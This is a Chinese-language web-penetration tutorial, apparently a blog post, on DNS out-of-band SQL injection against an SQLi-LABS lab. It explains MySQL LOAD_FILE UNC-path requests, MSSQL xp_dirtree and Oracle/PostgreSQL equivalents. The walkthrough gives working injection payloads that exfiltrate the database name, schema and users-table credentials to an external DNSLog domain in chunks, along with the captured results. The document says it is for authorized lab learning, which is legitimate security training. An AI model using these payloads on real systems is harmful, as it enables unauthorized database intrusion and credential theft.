Web渗透之SQL注入-DNS外带
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
Microsoft SQL Server (MSSQL): 存储过程请求
二、使用 LOAD_FILE() 构造UNC路径触发DNS查询
一、概念
DNS外带注入是一种高级的SQL注入技巧。当面对一个毫无响应的“盲注”漏洞时,传统的手工猜解效率极低,而DNS外带注入就像是为数据库服务器接上了一部“电话”,让服务器主动“打电话”出来,一次性告诉你答案,极大地提升了测试效率。这个过程正是它在安全社区常被称为“骚姿势”的原因。
简单来说,DNS外带注入的核心思路如下:
-
巧用“带外”(OOB)通道:大部分SQL注入属于“带内”(In-band),即攻击和获取数据在同一条请求-响应通道内。而DNS外带注入属于带外(Out-of-Band, OOB)技术。当Web应用不显示任何错误信息或查询结果时(即“盲注”状态),它会尝试开辟另一条辅助信道(如DNS、HTTP)来窃取数据。此类攻击也被称为DNSLog注入。
-
运用数据外带机制:攻击者引导易受攻击的数据库服务器,在解析某个攻击者控制的域名时,将该域名的一部分替换为想要窃取的数据。此举会触发一次DNS查询,攻击者只需查看DNS查询日志,便能捕获数据。
-
搭建DNSLog平台:攻击者需要一个能记录所有DNS查询请求的平台,它可以是dnslog.org这样的公共服务,也可以自建。其作用就像一个接收器,用来捕获数据库服务器发出的含有敏感数据的DNS请求。这类平台一般会提供一个独一无二的三级域名(如
xxx.dnslog.org),任何对该域名及其子域名的查询都会被记录下来。
完整攻击流程
-
获取专用域名:在DNSLog平台申请一个二级域名(例如:
abc123.dnslog.org)。该平台会提供一个真实的DNS解析服务器,负责记录所有对该域名的DNS查询。攻击者后续通过访问该平台界面,即可查看捕获到的查询日志。 -
构造恶意SQL Payload:结合注入点构造SQL语句。最关键的是,利用能触发网络请求的函数(如MySQL的
LOAD_FILE()),将查询结果与之前获取的域名进行拼接,形成UNC路径。例如:-
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(user())), '.abc123.dnslog.org\\test')) -
该语句会使数据库服务器去解析域名
{HEX转换后的数据库用户名}.abc123.dnslog.org,从而触发DNS查询。
-
-
触发并接收数据:执行上述SQL语句后,目标服务器发起DNS查询。查询日志会在攻击者控制的DNSLog服务器上生成。
-
解码与分析:攻击者查看DNSLog平台收集的日志,提取数据部分的子域名,再利用Base64或十六进制解码等方式还原真实数据。
使用前提
-
操作系统要求:MySQL下的DNS外带注入主要依赖UNC(Universal Naming Convention)路径。UNC是Windows系统的特有语法,这意味着该攻击通常只对运行在Windows操作系统上的数据库服务器有效。
-
MySQL配置要求:MySQL的关键配置参数
secure_file_priv必须为空(即secure_file_priv =),以允许使用LOAD_FILE()函数访问网络路径。若该参数值为NULL,则代表禁止文件导入导出,攻击无法进行。 -
数据库用户权限:执行此操作的数据库用户需要具备FILE权限,才可使用
LOAD_FILE()函数。这通常对应root或高级账户。在高版本MySQL中,secure_file_priv可能默认为NULL或设置了特定路径,同样会导致攻击失效。 -
外连DNS权限:目标服务器必须被允许向外部DNS服务器发起查询请求。若目标被部署在网络隔离严格的DMZ区,但仍可访问DNS服务器,则该方法依然可行。
注意事项
-
数据长度限制:出于域名长度限制,单次外带大量数据时,可能需要进行分段处理。同时,域名也仅支持部分合法字符,因此对敏感数据常用十六进制(HEX)编码处理。
-
不局限于MySQL:该技术同样适用于其他主流数据库:
-
MSSQL:可通过
xp_dirtree、xp_cmdshell等存储过程发起DNS请求。 -
Oracle:可利用
UTL_HTTP.REQUEST、DBMS_LDAP.INIT等函数。
-
二、DNS外带SQL语法
MySQL: LOAD_FILE() UNC路径请求
这是DNS外带注入最常见的实现方式。其核心是 LOAD_FILE() 函数,利用Windows的UNC(通用命名规则)路径机制,让MySQL服务器访问一个构造好的网络共享路径,从而触发DNS查询。
-
核心前提与工作原理:MySQL DNS外带注入的成功需要满足以下条件:
-
Windows操作系统:利用UNC路径(
\\server\share)发起网络请求,是Windows特有的功能,因此MySQL服务器必须在Windows系统上。 -
secure_file_priv为空:MySQL的一个安全配置。只有当secure_file_priv变量的值为空('') 时,LOAD_FILE()函数才能访问网络路径。 -
高权限用户:通常需要具备
FILE权限的用户才能执行LOAD_FILE(),如root。
-
-
基础语法与常用Payload:
-
通用UNC路径格式:
\\\\攻击者域名\\任意文件名。其中\\表示UNC路径的开头,文件可以是任意不存在的文件名,仅用于满足函数的参数要求。 -
基础Payload:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT payload), '.你的DNSLog域名\\abc'));payload的位置就是我们要窃取的数据,它会被拼接到域名中。 -
常用Payload示例:获取
user()、database()、表名等信息。
-
-
数据编码:域名仅允许使用字母、数字和连字符
-。为确保特殊字符能顺利外带,通常需要进行十六进制(HEX)编码。
Microsoft SQL Server (MSSQL): 存储过程请求
MSSQL主要通过XP扩展存储过程xp_dirtree或xp_fileexist来发起请求。
-
核心函数与前提:
xp_dirtree、xp_fileexist等。通常需要较高权限,例如sa或拥有sysadmin固定服务器角色的成员。利用UNC路径,用法与LOAD_FILE()类似。 -
常用语法与Payload:
-
基础语法:
DECLARE @a VARCHAR(2000); SET @a = CONCAT('\\', (SELECT 敏感数据), '.你的DNSLog域名\\abc'); EXEC master..xp_dirtree @a; -
其他函数:
xp_fileexist也可用于触发DNS请求。
-
Oracle & PostgreSQL
其他数据库实现DNS外带注入的原理类似,但使用的函数和语法不同。
-
Oracle:
UTL_HTTP.REQUEST、DBMS_LDAP.INIT等包可用于发起网络请求。 -
PostgreSQL:
COPY ... FROM PROGRAM或dblink等函数。
带外(OOB)注入:原理与优势
DNS外带注入是带外(Out-of-band,OOB)注入的一种。当数据库无法直接返回查询结果时,可利用HTTP、DNS甚至邮件等其他通道将数据“带出去”。它的主要优势在于:
-
效率高:无需像布尔或时间盲注那样逐个字符猜测。
-
数据量大:可在单个请求中完成一次子域名解析。
注意事项与限制
-
强条件依赖:数据库必须位于Windows系统且配置、权限均满足要求。实际环境中条件严格,但MSSQL的
xp_dirtree是默认启用的。 -
WAF绕过:这种技术也可能被安全设备监测,请求可能被拦截。
-
环境兼容性与数据限制:域名有长度限制(通常不超过253字符),数据过长需要分段发送。同时,要仔细检查Payload中的引号等特殊字符,避免语法错误。
工具化利用:SQLMap
sqlmap内置了对DNS外带注入的支持,--technique参数指定为B(布尔盲注)、E(报错注入)、U(联合查询注入)的同时,使用--dns-domain指定DNSlog平台即可。
三、DNS外带SQL注入过程
一、准备工作:获取DNSlog域名
-
访问DNSlog平台(如
dnslog.org),获取一个专属子域名。
-
显示:
subdomain: ca95a175.log.dnslog.pp.ua,token: jftp5wc4zrmb。 说明:该子域名作为“接收器”,所有对该域名及其子域名的DNS查询都会被平台记录。 -
可选:使用
ping命令测试DNS解析是否正常。 分别ping ca95a175.log.dnslog.pp.ua和ping chijing.ca95a175.log.dnslog.pp.ua,均能解析到IP,说明服务可用。



二、使用 LOAD_FILE() 构造UNC路径触发DNS查询
在MySQL环境中,利用 LOAD_FILE() 函数访问一个不存在的网络共享路径,从而引发DNS解析请求。
1. 外带固定字符串(测试连通性)
Payload:
select load_file(concat('//','demo','.62d5b3de.log.dnslog.pp.ua./1.txt'))

或简化版:
select load_file('/test.62d5b3de.log.dnslog.pp.ua./2.txt')

解释:
-
concat将字符串拼接成 UNC 路径:\\demo.62d5b3de.log.dnslog.pp.ua.\1.txt(注意:MySQL中//等价于\\,用于UNC路径)。 -
数据库服务器尝试访问该路径,必须解析域名
demo.62d5b3de.log.dnslog.pp.ua,因此会发起DNS查询。
结果:在DNSlog平台看到记录:
demo.62d5b3de.log.dnslog.pp.ua. test.62d5b3de.log.dnslog.pp.ua.


说明外带成功。
2. 外带动态数据
Payload:
select load_file(concat('//', database(), '.cf34d23a.log.dnslog.pp.ua./1.txt'))

解释:
-
database()返回当前数据库名(例如demo)。 -
拼接后形成
demo.cf34d23a.log.dnslog.pp.ua,触发DNS解析。
结果:DNSlog中显示 demo.cf34d23a.log.dnslog.pp.ua,成功获取数据库名。

三、关键注意点
-
UNC路径格式:MySQL中UNC路径使用
\\或//开头,后跟域名和文件名(任意)。 -
域名后缀:通常加上
/1.txt或任意文件名,确保LOAD_FILE语法正确。 -
无报错时:即使
LOAD_FILE返回NULL(因为文件不存在),DNS查询仍会发出。因此只要查看DNSlog有记录,即表示外带成功。 -
字符限制:域名只能包含字母、数字、连字符,不含特殊符号。如果查询结果包含特殊字符,需要先进行编码(如
HEX),但你的截图中demo是纯字母,所以直接使用。 -
环境要求:
secure_file_priv必须为空,且MySQL运行在Windows系统(UNC路径依赖)。
四、靶场注入示例
一、环境与目标
-
靶场:SQLi-LABS Less-1(字符型注入,有联合查询回显)
-
DNSlog平台:
log.dnslog.pp.ua,获取子域名cf34d23a.log.dnslog.pp.ua -
目标:利用DNS外带技术,在无法直接回显数据的情况下(此处联合查询可用,但作为演示)窃取数据库名、表名、列名及数据。
二、整体流程
由于Less-1本身就支持联合查询回显,DNS外带并非必需,但用于演示带外技术。流程如下:
-
获取DNSlog子域名:
cf34d23a.log.dnslog.pp.ua -
利用
LOAD_FILE()+ UNC路径 触发DNS解析 -
将查询结果拼接到子域名中,通过DNS记录获取数据
三、详细步骤与Payload
1. 获取当前数据库名
Payload(通过联合查询注入):
id=1' union select 1,(select load_file(concat('//',database(),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -

执行结果:DNSlog平台出现记录 security.cf34d23a.log.dnslog.pp.ua → 当前数据库名为 security

2. 获取所有表名
Payload:
id=1' union select 1,(select load_file(concat('//',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -

DNSlog记录: emails,referers,uaagents,users.cf34d23a.log.dnslog.pp.ua → 表名列表:emails, referers, uaagents, users

3. 获取 users 表的列名
Payload:
id=1' union select 1,(select load_file(concat('//',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -

DNSlog记录: id,username,password.cf34d23a.log.dnslog.pp.ua → 列名:id, username, password

4. 提取 users 表中的数据(分段)
由于域名长度限制,需使用 substr() 分批提取。首先获取前31个字符:
id=1' union select 1,(select load_file(concat('//',(select substr(group_concat(concat_ws('-',id,username,password)),1,31) from users),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -

DNSlog记录: 1-Dumb-Dumb,2-Angelina-I-kill-y.cf34d23a.log.dnslog.pp.ua → 第一段数据:1-Dumb-Dumb,2-Angelina-I-kill-y

接着提取第32~62字符:
... substr(...,32,31) ...
DNSlog记录: ou,3-Dummy-p\@ssword,4-secure-cr.cf34d23a.log.dnslog.pp.ua → 第二段数据:ou,3-Dummy-p@ssword,4-secure-cr
继续提取可得到完整数据(如 4-secure-crappy 等)。

四、关键点总结
-
UNC路径格式:MySQL中
LOAD_FILE()支持UNC路径,格式为\\\\域名\文件或//域名/文件。例如:concat('//',database(),'.dnslog.cn/1.txt') -
DNSlog平台:需要公网可访问的DNS服务器,记录所有对子域名的查询。常用免费平台:
dnslog.cn,ceye.io,log.dnslog.pp.ua等。 -
数据限制:
-
域名总长度不超过253字符,单次外带数据不宜过长。
-
域名中只能包含字母、数字、连字符
-,特殊字符需编码(如HEX或BASE64)。本例中concat_ws产生的-和,均合法。
-
-
环境要求:
-
MySQL
secure_file_priv必须为空(允许LOAD_FILE读取网络路径)。 -
数据库服务器必须为Windows系统(UNC路径依赖)。
-
当前用户需有
FILE权限。
-
五、注意事项
-
本例中Less-1本身有联合查询回显,DNS外带并非最优解。但在完全无回显的盲注场景(如Less-5、Less-9)中,DNS外带可以极大提高效率。
-
实际攻击中,若数据包含特殊符号(如
!、@、#),建议使用HEX()编码,外带后解码。 -
部分WAF会检测
load_file和UNC路径,可能被拦截,可尝试其他函数(如MSSQL的xp_dirtree)。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)